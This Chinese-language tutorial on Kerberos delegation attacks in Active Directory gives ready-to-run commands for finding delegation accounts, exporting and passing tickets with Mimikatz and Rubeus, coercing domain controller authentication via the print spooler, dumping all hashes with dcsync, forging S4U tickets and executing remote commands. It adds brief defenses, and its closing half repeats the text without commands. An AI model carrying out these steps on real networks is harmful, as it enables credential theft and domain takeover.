域渗透——Kerberos委派攻击
字数 1754 2025-08-25 22:58:29

Kerberos委派攻击技术详解

前置知识

域委派是指将域内用户的权限委派给服务账号,使得服务账号能以用户的权限在域内展开活动。委派主要分为三种类型:

  1. 非约束委派(Unconstrained delegation):服务账号可以代表用户访问域内任何服务
  2. 约束委派(Constrained delegation):服务账号只能代表用户访问特定的服务
  3. 基于资源的约束委派(Resource Based Constrained Delegation):由资源决定哪些服务可以委派给它

发现域中委派的用户和计算机

非约束委派的查找

非约束委派的用户或计算机会在userAccountControl属性中包含TRUSTED_FOR_DELEGATION标志。

使用ldapsearch查找

查找非约束委派用户:

ldapsearch -x -H ldap://域控IP:389 -D "CN=用户,CN=Users,DC=域,DC=com" -w 密码 -b "DC=域,DC=com" "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" | grep -iE "distinguishedName"

查找非约束委派主机:

ldapsearch -x -H ldap://域控IP:389 -D "CN=用户,CN=Users,DC=域,DC=com" -w 密码 -b "DC=域,DC=com" "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" | grep -iE "distinguishedName"

使用ADFind查找

查找非约束委派用户:

AdFind.exe -b "DC=域,DC=com" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

查找非约束委派主机:

AdFind.exe -b "DC=域,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

使用PowerView查找

查找非约束委派用户:

Get-NetUser -Unconstrained -Domain 域名.com | select name

查找非约束委派主机:

Get-NetComputer -Unconstrained -Domain 域名.com

约束委派的查找

约束委派的用户或计算机会在userAccountControl属性中包含TRUSTED_TO_AUTH_FOR_DELEGATION标志,并且msDS-AllowedToDelegateTo属性会包含被约束的服务。

使用ldapsearch查找

查找约束委派用户:

ldapsearch -x -H ldap://域控IP:389 -D "CN=用户,CN=Users,DC=域,DC=com" -w 密码 -b "DC=域,DC=com" "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" | grep -iE "distinguishedName|allowedtodelegateto"

查找约束委派主机:

ldapsearch -x -H ldap://域控IP:389 -D "CN=用户,CN=Users,DC=域,DC=com" -w 密码 -b "DC=域,DC=com" "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" | grep -iE "distinguishedName|allowedtodelegateto"

使用ADFind查找

查找约束委派用户:

AdFind.exe -b "DC=域,DC=com" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

查找约束委派主机:

AdFind.exe -b "DC=域,DC=com" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

使用PowerView查找

查找约束委派用户:

Get-DomainUser TrustedToAuth -domain 域名.com -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto|fl

查找约束委派主机:

Get-DomainComputer -TrustedToAuth -Domain 域名.com -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto|ft -Wrap -AutoSize

非约束委派的利用

攻击原理

当用户访问配置了非约束委派的服务时,会将用户的TGT发送给服务并保存在内存中,攻击者可以获取该TGT并利用它模拟用户身份访问域内任何服务。

攻击步骤

  1. 找到配置了非约束委派的主机或服务账号
  2. 诱导高权限用户(如域管理员)访问该服务
  3. 使用Mimikatz导出内存中的TGT票据:
    privilege::debug
    sekurlsa::tickets /export
    
  4. 使用导出的TGT票据进行PTT(Pass The Ticket)攻击:
    kerberos::ptt [导出的TGT票据文件]
    
  5. 使用注入的票据访问域控或其他资源

非约束委派+Spooler打印机服务攻击

利用Windows打印系统远程协议(MS-RPRN)强制目标主机向攻击者控制的主机进行身份验证。

  1. 确保攻击者控制的主机(win10)配置了非约束委派
  2. 使用SpoolSample工具强制域控向win10进行身份验证:
    SpoolSample.exe 域控主机名 攻击者主机名
    
  3. 使用Rubeus监听并捕获TGT:
    Rubeus.exe monitor /interval:1 /filteruser:域控主机名$
    
  4. 使用捕获的TGT进行PTT攻击:
    Rubeus.exe ptt /ticket:base64编码的TGT
    
  5. 使用dcsync导出域内所有用户hash:
    lsadump::dcsync /domain:域名 /all /csv
    

约束委派的利用

攻击原理

约束委派限制了服务账号只能代表用户访问特定的服务。如果获取了配置约束委派的服务账号凭据,可以伪造S4U请求,模拟任意用户访问被允许的服务。

攻击步骤

  1. 找到配置了约束委派的服务账号
  2. 获取服务账号的明文密码或NTLM Hash
  3. 使用kekeo请求服务账号的TGT:
    tgt::ask /user:服务账号 /domain:域名 /password:密码 /ticket:test.kirbi
    
    或使用NTLM Hash:
    tgt::ask /user:服务账号 /domain:域名 /NTLM:Hash值
    
  4. 使用获取的TGT伪造S4U请求,模拟管理员访问被允许的服务:
    tgs::s4u /tgt:TGT票据文件 /user:Administrator@域名.com /service:允许的服务
    
  5. 使用导出的ST票据进行PTT攻击:
    kerberos::ptt TGS_Administrator@域名.com@允许的服务票据文件
    
  6. 访问被允许的服务

利用约束委派生成黄金票据

  1. 为服务账号添加对krbtgt服务的委派权限:
    Import-Module ActiveDirectory
    $user = Get-ADUser 服务账号
    Set-ADObject $user -Add @{ "msDS-AllowedToDelegateTo" = @("krbtgt/域名.com") }
    
  2. 使用impacket的getST请求管理员的TGT:
    getst.exe -dc-ip 域控IP -spn krbtgt/域名.com -impersonate Administrator 域名.com/服务账号:密码
    
  3. 使用生成的票据(Administrator.ccache)进行PTT攻击:
    set KRB5CCNAME=Administrator.ccache
    
  4. 使用wmiexec等工具执行命令:
    wmiexec.exe -no-pass -k administrator@域控主机名.域名.com -dc-ip 域控IP
    

防御措施

  1. 高权限用户设置为不可委派
  2. 将敏感用户加入Protected Users组(Windows Server 2012 R2及以上)
  3. 提高服务账号密码强度,防止暴力破解
  4. 定期审计域内委派配置
  5. 限制不必要的服务账号权限

参考工具

  1. Mimikatz - 提取内存中的票据
  2. kekeo - 生成和操作Kerberos票据
  3. Rubeus - Kerberos攻击工具集
  4. Impacket - 网络协议工具集
  5. PowerView - Active Directory信息收集
  6. ADFind - LDAP查询工具
  7. SpoolSample - 打印机服务漏洞利用工具

通过以上技术,攻击者可以利用配置不当的Kerberos委派权限在域环境中进行横向移动和权限提升。防御者应定期审计域内委派配置,限制不必要的服务账号权限,并实施严格的权限管理策略。

Kerberos委派攻击技术详解 前置知识 域委派是指将域内用户的权限委派给服务账号,使得服务账号能以用户的权限在域内展开活动。委派主要分为三种类型: 非约束委派(Unconstrained delegation) :服务账号可以代表用户访问域内任何服务 约束委派(Constrained delegation) :服务账号只能代表用户访问特定的服务 基于资源的约束委派(Resource Based Constrained Delegation) :由资源决定哪些服务可以委派给它 发现域中委派的用户和计算机 非约束委派的查找 非约束委派的用户或计算机会在 userAccountControl 属性中包含 TRUSTED_FOR_DELEGATION 标志。 使用ldapsearch查找 查找非约束委派用户: 查找非约束委派主机: 使用ADFind查找 查找非约束委派用户: 查找非约束委派主机: 使用PowerView查找 查找非约束委派用户: 查找非约束委派主机: 约束委派的查找 约束委派的用户或计算机会在 userAccountControl 属性中包含 TRUSTED_TO_AUTH_FOR_DELEGATION 标志,并且 msDS-AllowedToDelegateTo 属性会包含被约束的服务。 使用ldapsearch查找 查找约束委派用户: 查找约束委派主机: 使用ADFind查找 查找约束委派用户: 查找约束委派主机: 使用PowerView查找 查找约束委派用户: 查找约束委派主机: 非约束委派的利用 攻击原理 当用户访问配置了非约束委派的服务时,会将用户的TGT发送给服务并保存在内存中,攻击者可以获取该TGT并利用它模拟用户身份访问域内任何服务。 攻击步骤 找到配置了非约束委派的主机或服务账号 诱导高权限用户(如域管理员)访问该服务 使用Mimikatz导出内存中的TGT票据: 使用导出的TGT票据进行PTT(Pass The Ticket)攻击: 使用注入的票据访问域控或其他资源 非约束委派+Spooler打印机服务攻击 利用Windows打印系统远程协议(MS-RPRN)强制目标主机向攻击者控制的主机进行身份验证。 确保攻击者控制的主机(win10)配置了非约束委派 使用SpoolSample工具强制域控向win10进行身份验证: 使用Rubeus监听并捕获TGT: 使用捕获的TGT进行PTT攻击: 使用dcsync导出域内所有用户hash: 约束委派的利用 攻击原理 约束委派限制了服务账号只能代表用户访问特定的服务。如果获取了配置约束委派的服务账号凭据,可以伪造S4U请求,模拟任意用户访问被允许的服务。 攻击步骤 找到配置了约束委派的服务账号 获取服务账号的明文密码或NTLM Hash 使用kekeo请求服务账号的TGT: 或使用NTLM Hash: 使用获取的TGT伪造S4U请求,模拟管理员访问被允许的服务: 使用导出的ST票据进行PTT攻击: 访问被允许的服务 利用约束委派生成黄金票据 为服务账号添加对krbtgt服务的委派权限: 使用impacket的getST请求管理员的TGT: 使用生成的票据(Administrator.ccache)进行PTT攻击: 使用wmiexec等工具执行命令: 防御措施 高权限用户设置为不可委派 将敏感用户加入Protected Users组(Windows Server 2012 R2及以上) 提高服务账号密码强度,防止暴力破解 定期审计域内委派配置 限制不必要的服务账号权限 参考工具 Mimikatz - 提取内存中的票据 kekeo - 生成和操作Kerberos票据 Rubeus - Kerberos攻击工具集 Impacket - 网络协议工具集 PowerView - Active Directory信息收集 ADFind - LDAP查询工具 SpoolSample - 打印机服务漏洞利用工具 通过以上技术,攻击者可以利用配置不当的Kerberos委派权限在域环境中进行横向移动和权限提升。防御者应定期审计域内委派配置,限制不必要的服务账号权限,并实施严格的权限管理策略。